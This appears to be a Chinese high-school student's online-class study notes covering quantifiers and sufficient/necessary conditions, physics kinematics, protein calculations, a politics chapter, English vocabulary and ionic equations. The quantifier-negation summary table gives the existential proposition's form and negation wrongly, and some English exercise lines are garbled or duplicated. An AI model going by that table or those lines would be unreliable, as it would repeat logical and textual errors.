丧夫之痛、流离之苦、亡国之恨、孀居之悲

诗歌赏读

【略】

数学

全称量词与存在量词（一）

一.全称量词命题

全称量词及表示: 定义：短语“对所有的”、“对任意一个”、“对一切”、“对每一个”、“任给”、“所有的” 在逻辑中通常叫全称量词. 表示：用符号“$\forall$”表示
全称量词命题及表示: 定义：含有全称量词的命题，叫全称量词命题. 表示：全称命题“对M中任意一个x，有含变量x的语句 p(x)成立”表示为：$\forall x\in M,p(x)$ 读作:“对任意x属于Ｍ，有p(x)成立”.

二.存在量词命题

存在量词及表示: 定义: 短语“存在一个”、“至少有一个”、“有些”、“有一个”、“对某个”、“有的”在逻辑中通常叫做存在量词. 表示：用符号“∃”表示,
存在量词命题及表示：定义:含有存在量词的命题,叫做存在量词命题. 表示：存在量词命题“存在M中的一个x,使p(x)成立” 可用符号简记为∃x∈M,p(x). 读作:“存在一个x属于M,使p(x)成立”.

判断全称量词命题与存在量词命题正误的方法

思考：如何判断全称量词命题的真假？方法: 若判定一个全称量词命题是真命题，必须对限定集合M中的每个元素x验证P(x)成立；若判定一个全称量词命题是假命题，只要能举出集合M中的一个x=$x_0$ ,使得P(x)不成立即可

思考：如何判断存在量词命题的真假方法: 要判断存在量词命题“∃x∈M,p(x)”是真命题，只需在集合M中找到一个元素$x_0$，使p($x_0$)成立即可. 如果在集合M中,使p(x)成立的元素x不存在，那么这个存在量词命题是假命题.

三.全称量词命题的否定

从形式看，全称量词命题的否定是存在量词命题. 含有一个量词的全称量词命题的否定,有下面的结论: 全称量词命题:$p:\forall x\in M,p(x)$ 它的否定:$\lnot p:\exist x\in M,\lnot p(x)$

四.量词命题的否定

从命题形式看，这三个存在量词命题的否定都变成了全称量词命题. 一般地，对于含有一个量词的存在量词命题的否定，有下面的结论: 存在量词命题:$p:\exist x_0\in M, p(x_0)$ 它的否定:$\lnot p:\forall x\in M,\lnot p(x)$

课堂小结

1.（1）全称量词、全称量词命题；（2）存在量词、存在量词命题. 2.一般地，对于含有一个量词的全称量词命题的否定,有下面的结论：全称量词命题:$p:\forall x\in M,p(x)$ 它的否定:$\lnot p:\exist x\in M,\lnot p(x)$ 一般地，对于含有一个量词的存在量词命题的否定,有下面的结论：存在量词命题:$p:\exist x_0\in M, p(x_0)$ 它的否定:$\lnot p:\forall x\in M,\lnot p(x)$

全称量词与存在量词（二）

知识清单

1.全称量词与全称量词命题 (1)短语“所有的”“任意一个”在逻辑中通常叫做全称量词,全称量词并用符号“$\forall$”表示. (2)含有全称量词的命题,叫做全称量词命题全称量词命题. (3)全称命题的表述形式:对M中任意一个x,有p(x)成立,可简记为:∀x∈M,p(x),读作“对任意x属于M,有p(x)成立”. (4)全称量词命题的真假判断:要判断一个全称命题量词是真命题,必须对限定集合M中的每一个元素x,验证p(x)成立;但要判断一个全称量词命题是假命题,只需列举出一个x0∈M,使得p(x0)不成立即可.

名师点拨：常用的全称量词还有“所有”“每一个”“任何”“任意”“一切”“任给”“全部”.只要含有这些量词,或者命题具有全称量词所表达的含义,就是全称量词命题.

2.存在量词与存在量词命题

(1)短语“存在一个”“至少有一个”在逻辑中通常叫做存在量词,并用符号 “∃”表示. (2)含有存在量词的命题,叫做存在量词命题 (3)存在量词命题的表述形式:存在M中的一个$x_0$,使p($x_0$)成立,可简记为$\exist x_0\in M, p(x_0)$,读作“存在M中的元素x0,使p(x0)成立” (4)存在量词命题的真假判断:要判断一个存在量词命题是真命题,只要在限定集合M中,能找到一个$x_0$,使得命题p($x_0$)成立即可;否则这一命题就是假命题.

名师点拨：常用的存在量词还有“有些”、“有一个”、“存在”、“某个”、“有的”等.只要含有这些量词,或者命题具有存在量词所表达的含义,就是存在量词命题.

3.全称量词命题与存在量词命题的否定

命题类型	全称量词命题	存在量词命题
形式	$\forall x\in M,p(x)$	$\lnot p:\exist x\in M,\lnot p(x)$
否定	$\lnot p:\exist x\in M,\lnot p(x)$	$\forall x\in M,p(x)$
结论	全称量词命题的否定存在量词命题	存在量词命题的否定是全称量词命题

特别提醒 1.写出一个全称量词命题或存在量词命题的否定时,通常要将命题的两个地方进行改变,一是量词符号要改变,二是结论要进行否定. 2.全称量词命题(或存在量词命题)与其否定的真假性恰好相反.

题型分析

题型一全称量词命题与特称量词命题的辨析

解题方法（判断一个命题是全称量词命题还是存在量词命题的方法） (1)分析命题中所含的量词,含有全称量词的命题是全称量词命题,含有存在量词的命题是存在量词命题. (2)当命题中不含量词时,要注意根据命题的含义进行判断. (3)全称量词命题有时会省略全称量词,但存在量词命题的量词一般不能省略.

题型二全称量词命题与存在量词命题的真假判断

解题方法（全称量词命题与存在量词命题真假的判断技巧） (1)全称量词命题:要判定一个全称量词命题是真命题,必须对限定集合M中的每个元素x验证p(x)成立;但要判定全称量词命题是假命题,只要能举出集合M中的一个x=x0,使得p(x0)不成立即可. (2)存在量词命题:要判定一个存在量词命题是真命题,只要在限定集合M中,找到一个x=x0,使p(x0)成立即可;否则,这一存在量词命题就是假命题.

题型三全称量词命题与存在量词命题的否定

解题方法（含有一个量词的命题的否定方法） (1)一般地,写含有一个量词的命题的否定,首先要明确这个命题是全称量词命题还是存在量词命题,并找到其量词的位置及相应结论,然后把命题中的全称量词改成存在量词,存在量词改成全称量词,同时否定结论. (2)对于省略量词的命题,应先挖掘命题中隐含的量词,改写成含量词的完整形式,再依据规则来写出命题的否定.

课堂小结

全称量词命题与存在量词命题的辨析.
全称量词命题与存在量词命题的真假判断.
含有一个量词的全称量词命题与存在量词命题的否定.

物理

章末复习

知识清单

重点突破

理解质点

(1)质点是一种科学抽象，是一种理想化的模型。 (2)一个物体能否看成质点，是由所研究问题决定的，跟物体自身体积、质量、和速度均无关。同一物体，研究问题不同，有时可以看成质点，有时不能看成质点。 (3)物理各点的运动情况相同**(平动)时，可以看作质点，一般研究物体的转动时不能把物体看作质点。 (4)物体有转动**，但物体的转动不是我们所研究的主要问题时，物体的本身大小和形状已变成了次要因素，物体可以看作质点。

平均速度和瞬时速度

速度的变化与加速度

位移——时间图像

a、b表示物体做匀速直线运动，斜率表示速度v c表示物体静止 d表示物体向反方向做匀速直线运动交点表示三个质点相遇的时间与位移

速度图线与t轴所围成的**“面积”**的值等于物体的位移。

两种计时器

电火花计时器比电磁打点计时器更精确

思想方法

理想模型(科学抽象) ——质点
通过物理量之比定义新物理量
极限思想

生物

蛋白质是生命活动的主要承担者(第二课时)

复习回顾

蛋白质多样性的原因

构成肽链的氨基酸数目不同，肽链的结构则不同；

构成肽链的氨基酸种类不同，肽链的结构则不同；

构成肽链的氨基酸排列顺序不同，肽链的结构则不同；

肽链的盘曲、折叠方式及其形成的空间结构干差万别

有关氨基酸的排列与多肽的种类的关系

假若有A、B、C三种氨基酸由这三种氨基酸组成多肽的情况有如下二种情形：

蛋白质结构与其功能相适应

蛋白质变性：（不可逆）

a.定义:蛋白质在某些物理或化学因素作用下，其特定的空间构象被破坏，从而导致其理化性质改变和生物活性丧失的现象。 b.蛋白质变性的因素:化学因素(如强酸、强碱、重金属离子、酒精)、物理因素(如加热、剧烈振荡、超声波、射线等) c.一般认为蛋白质的变性作用，主要是蛋白质的空间结构发生了改变。但在变性过程中，蛋白质分子中的肽键没有断裂，还能与双缩脲试剂发生紫色反应化学组成也没有改变。 d.变性结果:生物活性丧失;粘度增加、扩散系数降低;容易聚集沉淀。其空间结构松散，易被蛋白酶水解，因此吃熟鸡蛋更容易消化吸收。 e.变性的应用:

鸡蛋、肉类等经高温后蛋白质变性，更易消化。.
细菌、病毒经过加热、加酸、加酒精等处理后因蛋白质变性而灭活。
动物、昆虫标本固定保存、防腐。
很多毒素是蛋白质，经甲醛固定，减毒、封闭毒性碱基团作类毒素抗原，制作抗毒素。

蛋白质的盐析

盐析:向蛋白质溶液中加入食盐，可以降低蛋白质的溶解度，使蛋白质凝聚而从溶液中析出，这种作用叫作盐析。盐析是物理变化，可复原，即是一个可逆的过程，故不影响蛋白质的性质。

蛋白质的水解和氧化分解

水解:蛋白质或者多肽中肽键断裂，分解为氨基酸的过程称为水解，和脱水缩合的过程相反，这个过程需要蛋白酶或者肽酶的催化。

氧化分解（代谢）：将蛋白质分解成$CO_2$、水、尿素并释放能量的过程

蛋白质的相关计算

氨基酸的结合方式：脱水缩合

二肽:由两个氨基酸缩合而成的化合物。脱去1分子水。有1个肽键。三肽:由三个氨基酸缩合而成的化合物。脱去2分子水。有2个肽键。多肽:由**多个(n个)**氨基酸缩合而成的化合物。脱去n-1分子水。有n-1个肽键。

A、肽键数与氨基酸数目的关系：（链式结构）

公式1：肽键数=脱去水分子数=氨基酸数-肽链数

一、肽键数与氨基酸数目的关系：（环状结构）

肽键数：15个脱水数：15个

如m个氨基酸构成n个环状多肽，有m个肽键。

肽键数=氨基酸数-肽链数(0)=脱去水份数

二、蛋白质中游离氨基和羧基的数目：

蛋白质中氨（羧）基数=1+ R基上氨（羧）基数至少含有的氨（羧）基数=1（分布在两端）蛋白质中至少含有的游离的氨基或羧基数=肽链的条数。公式2：游离氨（羧）基数目=肽链数+R基中氨（羧）基数

三、蛋白质相对分子质量的计算：

若氨基酸的平均相对分子质量为a，则该三肽的相对分子质量为：3a - 36

蛋白质的相对分子质量=氨基酸的平均相对分子质量×氨基酸的数量-脱水数×18

公式3：蛋白质相对分子质量=氨基酸数×氨基酸平均相对分子质量 - 脱去的水分子数×18 - 二硫键数×2

四、蛋白质中N、O、C、H原子数计算：

公式4：N原子数=肽键数＋肽链数＋R基上N原子数**=各氨基酸N原子总数** 公式5：O原子数=肽键数＋2×肽链数＋R基上O原子数**=各氨基酸O原子总数－脱去水分子数** 公式6：C原子数=氨基酸数×2+R基上C原子数公式7：H原子数=各氨基酸H原子总数－2×肽键数(－2×二硫键数)

相关计算公式小结

课堂小结

政治

中国特色社会主义进入新时代

一、新时代的科学内涵

中国特色社会主义进入新时代， “新”在哪里？

新时代是承前启后、继往开来、在新的历史条件下继续夺取中国特色社会主义伟大胜利的时代（历史脉络）

新时代是决胜全面建成小康社会、进而全面建设社会主义现代化强国的时代**（奋斗目标——强国）**

实现“两个一百年”奋斗目标

新时代是全国各族人民团结奋斗、不断创造美好生活、逐步实现全体人民共同富裕的时代**（人民期待——富民）**

新时代是全体中华儿女勠力同心、奋力实现中华民族伟大复兴中国梦的时代**（历史使命——民族复兴的中国梦）**

新时代是我国日益走近世界舞台中央、不断为人类作出更大贡献的时代**（世界意义）**

阶段小结：新时代的科学内涵

二、中国特色社会主义进入新时代的地位

经过长期努力，中国特色社会主义进入了新时代，这是我国发展新的历史方位。

三、进入新时代的意义中华民族（历史意义）

意味着近代以来久经磨难的中华民族迎来了从站起来、富起来到强起来的伟大飞跃，迎来了实现中华民族伟大复兴的光明前景；
意味着科学社会主义在21世纪的中国焕发出强大生机活力，在世界上高高举起了中国特色社会主义伟大旗帜；

科学社会主义（政治意义）
意味着中国特色社会主义道路、理论、制度、文化不断发展，拓展了发展中国家走向现代化的途径，给世界上那些既希望加快发展又希望保持自独立的国家和民族提供了全新选择，为解决人类问题贡献了中国智慧和中国方案。

人类社会

四、新时代我国社会主要矛盾

我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾。

我国主要矛盾的新变化是中国特色社会主义进入新时代的重要标志

准确理解新时代的社会主要矛盾的内涵

①不平衡：表现在区域差距、城乡差距、收入差距等。

②不充分：表现在发展的质量和效益不够高，供给的水平不够高等。

回眸：我国社会主要矛盾论断的历次变化

五、新时代的主要矛盾变化的原因

（人民需求）改革开放以来，我们党团结带领全国各族人民不懈奋斗，稳定解决了十几亿人的温饱问题，人民美好生活需要日益广泛。

人民不仅对物质文化生活提出了更高要求，而且对以下各方面的要求日益增长
**（社会生产）**社会生产力水平总体上显著提高，社会生产能力在很多方面进入世界前列。

中国完成了一个个令世人瞩目的“中国创造”
**（突出问题）**发展的不平衡不充分，成为满足人民日益增长的美好生活需要的主要制约因素。

以前我们要解决的是有没有的问题，现在要解决的是好不好的问题。

六、新时代我国社会的主要矛盾变与不变

一个变了 人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾

两个不变 ①我国仍处于并将长期处于社会主义初级阶段的基本国情没有变 ②我国是世界最大发展中国家的国际地位没有变

七、如何应对变与不变

措施1：一个着力解决、两个提升、两个全面 “变的角度” 着力解决好发展不平衡不充分问题，大力提升发展质量和效益，更好满足人民在经济、政治、文化、社会、生态等方面日益成长的需要，更好地推动人的全面发展、社会全面进步。

措施2：三个牢牢 “不变的”角度牢牢把握社会主义初级阶段这个基本国情;牢牢立足社会主义初级阶段这个最大实际;牢牢坚持党的基本路线这个党和国家的生命线、人民的幸福线。

八、新时代坚持和发展中国特色社会主义要一以贯之

为什么（原因） （1）历史进程：新时代中国特色社会主义是中国共产党领导人民进行伟大社会革命的成果，也是党领导人民进行伟大社会革命的继续，必须一以贯之进行下去！ （2）崇高事业：坚持好、发展好中国特色社会主义，是无比崇高的事业，需要一代又一代中国共产党人带领人民接续奋斗。
要求（做法）

（1）当代中国共产党人而言（任务）：把新时代坚持和发展中国特色社会主义这场伟大社会革命进行好，在实践中不断丰富中国特色社会主义的实践特色、理论特色、民族特色、时代特色，在新的历史条件下把党和国家各项事业继续推向前进。

（2）对中国人民而言：要不忘初心、牢记使命，以永不懈怠的精神状态和一往无前的奋斗姿态，一以贯之坚持和发展中国特色社会主义，一以贯之推进党的建设新的伟大工程，一以贯之增强忧患意识、防范风险挑战，开新局于伟大的社会革命，强体魄于伟大的自我革命。

课堂小结

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第十四天

Sun, 18 Sep 2022 00:00:00 GMT

开学第十四课

英语

welcome unit

笔记小测

传说........ Chinese legends have/had it that...; Legends say that...
变成 turn (...) into ...
坐落于 (be) located in...
目睹 witness
祈求 pray for
日出 sunrise
云海 sea of clouds
在山的顶峰 at the peak of mountain
长得不错 look good
思维敏捷 think fast
玩的尽兴 play hard
你不会看到我不拿书或者笔 You'll never see me without a book or a pen.
注册一门课 register for a class
交流想法 exchange ideas
做演讲 give a lecture
探索世界 explore the world
闪卡 flash card

课外阅读

中文：1931年9月18日晚，日本驻中国的侵略军——关东军，自行炸毁沈阳北郊柳条湖附近南满铁路的一段铁轨，反诬中国军队破坏铁路，并借此突然袭击了东北军驻地北大营和沈阳城。随即在几天内侵占20多座城市及其周围的广大地区，这就是当时震惊中外的“九●一八”事变。事变爆发后，日本与中国之间的矛盾进一一步激化，而在日本国内，主战的日本军部地位上升，导致日本走上全面侵华的道路。这次事件爆发后的几年时间内，东北三省全部被日本关东军古领，因此被中国民众视为国耻，直至今，9.18在国内许多非正式场合都被称为“国耻日”

Remember History and Forge Ahead (铭记历史，砥砺前行)

China has a long history of 5000 years, and creates a splendid civilization( 文明) for the world. But China once was the victim(受害者) to the invasions(侵略) of foreign powers, and the Chinese people saw suffering from bloods and tears. The Chinese nation was forced to the most dangerous time. The Communist Party of China led Chinese people to establish a socialist new China and achieved a series of success in the cause of socialist construction and reform. History is a mirror; only by drawing lessons from the history can we get a better understanding of the future. A nation without history is a nation without hope. So the history should never be forgotten, otherwise the blood of yesterday would become tears of tomorrow. As pupils, we will shoulder the mission of building our motherland in the future, and we will get encouragement, inspiration, and wisdom from the history. Although we are still too young, We are confident that we will make changes to the future of our nation and bring helps to realize the areat Chinese Dreams

language point

exchange n.交换:交流、vt.交换;交流;交易;兑换

课文再现I'm an exchange student,from the UK.(教材P2) 情景导学(翻译以下句子并总结exchange用法) I will teach you Chinese in exchange for your teaching me English. 我将教你汉语,作为你教我英语的交换。 I shook hands and exchanged a few words with the manager. 我与经理握了握手，并交谈了几句。 You can exchange your money for dollars in the hotel. 你可以在旅馆里将你的钱换成美元。 用法归纳. ①an exchange student 交换生 ②in exchange for.作为对.....的交换 ③exchange sth. with sb.与某人交流/交换某物 ④exchange A for B 把A兑换成/更换成B 词汇拓展 ◆exchangeable adj.可交换的;可交易的;可兑换的 [基础检测]——介词填空 ①It is ilgal forla public, official to ask people for gifts or moneyin exchange for favors to them. am going to travel abroad， so I go to exchange some RMB for francs )in the bank.h ③Meanwhile, they exchange ideas and feelings with each other.

[能力提升]——应用文单句写作 ④得知你下学期将作为一名交换生来我们学校我非常高兴。 I'm happy to learn that you will come to our school next term as an exchange student.
design n.设计:设计方案、vt.设计;筹划

情景导学(翻译以下句子并总结design用法) Do you think the building was burnt down by accident or by design? 你认为这座建筑是被意外烧毁的还是被故意烧毁的? The online learning system is designed to help students with hearing disorder 这个线上学习系统的目的是帮助有听力障碍的学生。 Bing Dwen Dwen is specifically designed as a mascot for the Beijing 2022 Olympic Winter Games. 冰墩墩是专门为2022年北京冬奥会设计的吉祥物。.用法归纳. ①by design故意地;有意地 ②be designed to do sth.被设计用来做某事;目的是做某事(主动语态design sth to do sth ) ③be designed for....... 设计的(主动语态design sth. for ) ④be designed as...被设计作为. . .. 词汇拓展◆designer n. 设计师，设计者 a fashion designer 时装设计师

[基础检测]——单句语法填空 ①This course is specially designed for beginners like you, focusing on listening and speaking practice. ②(2019全国卷II)For Western designers (design), China and its rich culture have long been an inspiration for Western creative. ③(2019天津卷)Most colleges now offer first-year students a course specially designed (design) to help them succeed academically and personally. [能力提升]——读后续写单句写作 ④这个项目是为了帮助那些有困难的学生而设计的，但实际并没有起到预期的作用。 This project was designed to help the students in need, but in fact it didn't work as planned.
anxious adj.焦虑的:不安的/渴望的 课文再现I'm not outgoing so I'm a little anxious right now.(教材P4) 情景导学(翻译以下句子并总结anxious用法) The foreign minister was anxious about the situation in the country. 外交部长对该国的局势感到焦虑。 With the exam coming up, the teacher is anxious for the sick student. 考试临近，老师担心那个生病的学生。 There are plenty of graduates anxious for a teacher certificate. 有大量毕业生渴望得到教师资格证 She was anxious to know what had happened. 她急于知道发生了什么事。 We are anxious that we have no time to take notes. 我们担心我们没有时间记笔记。

用法归纳 ①be anxious about sth.为某事忧虑担心 ②be anxious for sb./sth.为某人担心非常希望得到某物 ③be anxious, to do sth. 渴望做某事;急于做某事 ④be anxious that ...担心/渴望...... 词汇扩展

anxiously adv.焦虑地；忧虑地 anxiety n.焦虑；渴望

[基础检测]——单句语法填空 ①Don’t be anxious for/about his safety. He will come back soon. ②All the participants were anxious to know (know) the final result. ③If you' re worried about your health, share your anxiety(anxious) with your doctor.

[能力提升]——读后续写单句写作 ④带着不安，小女孩等待着即将来临的消息。 The little girl waited for the coming news with anxiety.
annoyed adj 恼怒的:生气的

情景导学(翻译以下句子并总结annoyed用法) We are often annoyed at/about lots of boring advertisements on the Internet. 我们经常因互联网。上很多无聊的广告而感到恼火。 I am annoyed to find that I have to pay an extra charge for the breakfast. 我发现我要为早餐额外付费，这让我很恼火。 The customer was annoyed that no one gave a clear explanation. 顾客恼火的是没有人给出一个清晰的解释。

用法归纳 ①be annoyed (with sb.) at/about sth.因某事生(某人的)气 ②be annoyed to find/see....因发现/看到....而恼火 ③be annoyed that... 恼怒的是..... 词汇扩展 annoy vt. 使恼怒;打扰 annoying adj.令人恼怒的;令人生气的 annoyance n.烦恼;生气

[基础检测]——单句语法填空 ①The kids wouldn't stop talking，and I was beginning to get annoyed with them. ②We were annoyed to find (find) him break the window. ③What annoyed(annoy) him most was l that he didn't keep his promisel that he didn'ykeep his， ④What is really annoying(annoy)is that we made the samemistake last time.
frightened adj.惊吓的；害怕的

情景导学(翻译以下句子并总结frightened用法) I was frightened of being left alone in the house. 我害怕被单独留在房子里。 People were once frightened to let their children go to school because of the virus. 因为病毒,人们一度不敢让孩子们去上学了。 I'd never try that. I'd be frightened to death. 我绝不会尝试的。我会被吓死的。 Many schools are frightened that smart phones might influence students' normal study. 很多学校害怕智能手机可能影响学生的正常学习。

用法归纳 ①be frightened of (doing) sth.害怕(做)某事 ②ioe frightened to do sth.不敢做某事 ③be frightened to death 被吓得要死 ④be frightened+that 从句害怕....

词汇拓展 ◆frighten v.使惊吓;使惊恐 ◆fright n.惊吓,恐怖;使人惊吓的经历 ◆frightening adj.可怕的，令大害怕的(常修饰物)
impression n印象:感想 课文再现I want to make a good first impression. (教材P4) 情景导学(翻译以下句子并总结impression用法) She gives the impression of being very busy. 她给人的印象是特别忙。 He left a deep impression on me and gave me theinspiration)to pick up my pen again. 他给我留下了深刻的印象,给了我重新拾笔的灵感。

用法归纳 ①give the impression of..给.....的印象 ②leave/make/create a/an... impression on sb. 给某人留下/产生一个...的印象

词汇拓展 impress vt.使钦佩;给.....留下深刻的好印象 vi.留下印象;引人注目

impress sth. on/upon sb.使某人意识到某事的重要性我的老师让我认识到立刻采取行动的重要性。(翻译) My teacher impressed the need for immediate action upon/on me.

impress sb. by/with sth 用某物/某事给某人留下深刻的好印象. (被动语态be impressed by/with..) 全世界都钦佩中国应对紧急事件的有效措施。(翻译) The whole world is impressed with China's effective measures to deal with emergencies.

impressive adj.给人深刻印象的;令人敬佩的

[基础检测]——语法填空

When asked about his impression of Beijing, he said that he was deeply impressed by its unique human landscape，and that the Palace Museum was the most impressive architecture he'd ever seen. (impress)

[能力提升]——一句多译 今年的音乐节会给你留下深刻的印象。(2019全国卷II，书面表达) ①This year's music festival will impress you deeply . (impress) ②You will be deeply impressed with this year's music festival.(impressed) ③This year's music festival will surely leave a deep impression on you . (impression)
concentrate on 集中精力于 课文再现I couldn't concentrate on the experiment. (教材P4) 情景导堂(翻译以下句子并总结concentrate on用法) If you concentrate on studying English, you will master the language. 如果你将精力集中在英语学习上,你就会掌握这门语言。 It's an important ability to concentrate one's attention on work understress. 压力下能够集中精力工作是一项重要的能力。

用法归纳 concentrate sth (one's mind/attention/energy) on (doing)sth. 集中注意力/精万于{做)某事 词汇拓展 concentration n. 专心，专注;关注;重视;集中;浓度

[能力提升]——一句多译 你若集中精力学习英语，你会掌握这门语言的。 ①If you concentrate your mind/attention/yourself on English, you will master the language.(concentrate) ②Concentrating your mind/attention/yourself on English will enable you to master the language.(动名词短语作主语)
confident adj自信的;有把握的 课文再现 I feel much more confident than I felt this morning. (教材P4) 情景导学(翻译以下句子并总结confident用法) We are confident of becoming an internet-famous flower shop in Chengdu. 我们有把握成为成都一家网红花店。 HUAWEI is confident about its ability to solve the supply problem. 华为自信有能力解决供应问题。 I'm confident that I can help them better understand Chinese culturre. 我肯定可以帮助他们更好地了解中国文化。

用法归纳 ①be confident of (doing) sth.对(做)某事有把握 ②be confident about... 对.......有信心 ③be confident+ that从句确信/肯定某事会发生 词汇拓展 confidence n.信心;把握 with confidence自信地;有把握地 have(every)confidence in sb./sth.对某人/某事有(绝对的)信心
look forward to盼望;期待 课文再现Tom is looking forward to meeting the new exchange student.(教材P6) 情景导学 他期待着他的新工作。(翻译) He is looking forward to his new job. 用法归纳 look forward to, to是介词，其后接+n/pron./v.ing 词汇拓展 ◆类似的含有介词t的短语还有: lead to导致;引起 pay attention to注意 contribute to有助于;促成 get down to开始认真做 be used to习惯于
curious adj好奇的;求知欲强的 课文再现I'm curious about everything.(教材P8) 情景导学(翻译以下句子并总结curious用法) He was curious to know the fact about the UFO. 他极想知道不明飞行物的真相。 She was curious about how the experts did it. 她好奇专家是如何做到的。 It's curious that no one noticed the boy. 没有人注意到这个男孩这很反常。

用法归纳 ①be curious to do sth. 极想做某事 ②be curious about .. 对.....感到好奇 ③It's curious+that从句 ..... 是不寻常的。

词汇拓展 curiosity n.[U]好奇心 out of curiosity出于好奇 with curiosity=curiously adv.好奇地她只是出于好奇打开了这封信。(翻译) Just out of curiosity, she opened the letter.

[基础检测]——单句填空 ①Out of curiosity(出于好奇)，the man followed the guide into the hall. ②The young teacher looked at the strange boy curiously (curious). ③Mr. White thinks that one of the teacher's tasks is to raise the students' curiosity (curious). ④Amerasian students are curious about Chinese traditional culture.
What if...? 要是.....会怎么样呢? 课文再现What if no one talks to me?(教材P4) 情景导学(观察以下句子并总结what if用法) What ifshe finds out that you have lost her book? What if we go on a trip to the Great Wall?

用法妇纳 What if...?=What would happen f...? 主要有两个用法: ①表示假设常用于询问不愉快的事发生后的结果，意为“要....怎么办/怎么样?” ,其后句子可用陈述语气(用一般现在时)，也可用虛拟语气(用- -般过去时或“should+动词原形”力。用法妇纳 What if.?=What would happen if..? 主要有两个用法: ①表示假设常用于询问不愉快的事发生后的结果,意为“要....怎么办怎么样? , 其后句子可用陈述语气(用一般现在时)，也可用虛拟语气(用- -般过去时或“should+动词原形”力。 ②用于提出建议 What if..用于提出建议时，意思是“如.....怎么样/如何?“。
find+宾语+宾语补足语 课文再现I found most of my classmates and teacher friendly and helpful (教材P4) 情景导学(观察以下句子并总结find+宾语+宾语补足语用法) I find Chinese classics charming. When he woke up, he found himself in hospital. I found my child having the greatest fun in Disneyland. The man found his city much changed.

结构拓展 ①当不定式短语作宾语时，为了保持句子的结构平衡;通常用it作形式宾语,而将真正的宾语放在宾语补足语后面。他发现学英语很难。(翻译) He found it difficult to learn English. ②若“find+宾语+宾语补足语”结构变为被动形式，则原来的宾语变为主语,宾语补足语变为主语补足语。这个厨师因被发现在厨房吸烟而被开除了。(翻译) The cook was fired as he was found smoking in the kitchen.

听力部分

【略】

数学

充分条件与必要条件（一）

命题

一般地，我们把用语言、符号或式子表达的，可以判断真假的陈述句叫做命题.

判断为真的语句是真命题, 判断为假的语句是假命题.

命题的一般形式:若p，则q.（如果p，那么q）

充分条件与必要条件

1、一般地，“若p，则q”为真命题，是指由p通过推理可以得出q .这时，我们就说，由P可以推出q，记作$p\Rightarrow q$，并且说,P是q的充分条件，q是p的必要条件.

若$p\Rightarrow q$ 则称：p是q的充分条件，q是p的必要条件

如果“若p，则q”为假命题，那么由p推不出q，记作$p\not\Rightarrow q$ 。此时，我们就说p不是q的充分条件，q不是p的必要条件

2、一般地, 如果“若p，则q”和它的逆命题“若q，则p”都是真命题，即既有$p\Rightarrow q$，又有$q\Rightarrow p$就记作$p\Leftrightarrowq$. 此时，p既是q的充分条件，也是q的必要条件，我们说，p是q的充分必要条件,简称充要条件. 显然，如果p是q的充要条件，那么q也是p的充要条件(p等价于q)

课堂小结

充分条件与必要条件（二）

知识清单

充分条件与必要条件

命题真假	“若p，则q”是真命题	“若p，则q”是假命题
推出关系	$p\Rightarrow q$	$p\not\Rightarrow q$
条件关系	p是q的充分条件<br />q是p的必要条件	p不是q的充分条件<br />q不是p的必要条件

充要条件

(1)一般地，如果既有 $p\Rightarrow q$，又有 $q\Rightarrow p$，就记作$p\Leftrightarrow q$，此时，我们说，p是q的充分必要条件，简称充要条件.

概括地说，如果$p\Leftrightarrow q$,那么p与q互为充要条件.

(2)若$p\Rightarrow q$，但$q\not\Rightarrow p$则称p是q的充分不必要条件. (3)若$q\Rightarrow p$，但$p\not\Rightarrow q$，则称p是q的必要不充分条件. (4)若$p\not\Rightarrow q$，且$q\not\Rightarrow p$, 则称p是q的既不充分也不必要条件.
从集合角度看充分、必要条件 (1)依据设集合A={x|p(x)},B={x|q(x)}. 若x具有性质p,则x∈A;若x具有性质q,则x∈B. 若A⊆B,就是说x具有性质p,则x必具有性质q,即p⇒q. 类似地,B⊆A与q⇒p等价,A=B与p⇔q等价.

(2)结论如果把p研究的范围看成集合A,把q研究的范围看成集合B,则可得下表.当所要研究的p,q含有变量,即涉及方程的解集、不等式的解集,或者与集合有关或所描述的对象可以用集合表示时,可以借助集合间的包含关系,利用Venn图或数轴解题.

题型一充分条件、必要条件、充要条件的判断

解题方法（充分条件与必要条件的判断方法）

（1）定义法

（2）集合法

题型二充要条件的探求与证明

解题方法（探求充要条件一般有两种方法） (1)探求A成立的充要条件时，先将A视为条件，并由A推导结论(设为B)，再证明B是A的充分条件，这样就能说明A成立的充要条件是B，即从充分性和必要性两方面说明． (2)将原命题进行等价变形或转换，直至获得其成立的充要条件，探求的过程同时也是证明的过程，因为探求过程每一步都是等价的，所以不需要将充分性和必要性分开来说明．

题型三充分条件、必要条件、充要条件的应用

解题方法（利用充分、必要、充分必要条件的关系求参数范围） (1)化简p、q两命题， (2)根据p与q的关系(充分、必要、充要条件)转化为集合间的关系， (3)利用集合间的关系建立不等关系， (4)求解参数范围．

本节小结

充分条件、必要条件、充要条件的判断.
充分条件、必要条件、充要条件的应用.
充要条件的探求与证明.

化学

易错提醒

离子方程式中,只有强酸、强碱、可溶性盐可以拆。 (1)强酸: H2SO4、HNO3、 HCl、 HBr、 HI、HClO4 ; (2)强碱: NaOH、Ba(OH)2、 KOH ; (3)可溶性盐:钾盐、钠盐、铵盐、硝酸盐、碳酸氢盐等。溶解性口诀:钾、钠、铵盐均可溶,硝酸盐遇水无影踪，氯化物除氯化银,硫酸盐中钡难溶。
在离子方程式中单质,气体,氧化物,弱酸,弱碱,难溶物,水,不拆用化学式表示。浓$H_2SO_4$不拆,浓$HNO_3$.浓HCI拆 $HCO_3^-、HS^-、HSO_3^-,$等弱酸的酸式酸根不能拆开写

注意一$Ca(OH)_2$能不能拆 ,需要看情况

(1 )表述为"澄清石灰水”、“饱和石灰水”、 "Ca(OH)2溶液” 时,可以拆; (2)表述为"石灰乳”、“石灰浆” 时不可以拆。

作为生成物

及时小练

常见的离子反应类型

复分解反应型：

反应条件：生成沉淀、气体或水（难电离的弱电解质）
置换反应型
氧化还原型

敬请期待

离子方程式的正误判断

判断下列离子方程式书写是否正确

( 1 )物质间反应是否符合反应的客观事实; ( 2 )物质拆写是否正确; ( 3 )是否符合原子守恒和电荷守恒; ( 4 )方程式整体的阴、阳离子配比是否正确。

离子共存

概念：几种离子在同一种溶液中能大量共存
离子不能大量共存的条件

离子共存的常见限制条件
(1)无色透明:不能存在有色离子,如Cu2+(蓝色)、Fe3+(棕黄色)、Fe2+(浅绿色)、MnO4-(紫红色)。

"透明”与溶液有无颜色无关,只要溶液不形成混浊或沉淀,即为透明溶液。如FeCl2溶液为浅绿色透明溶液。

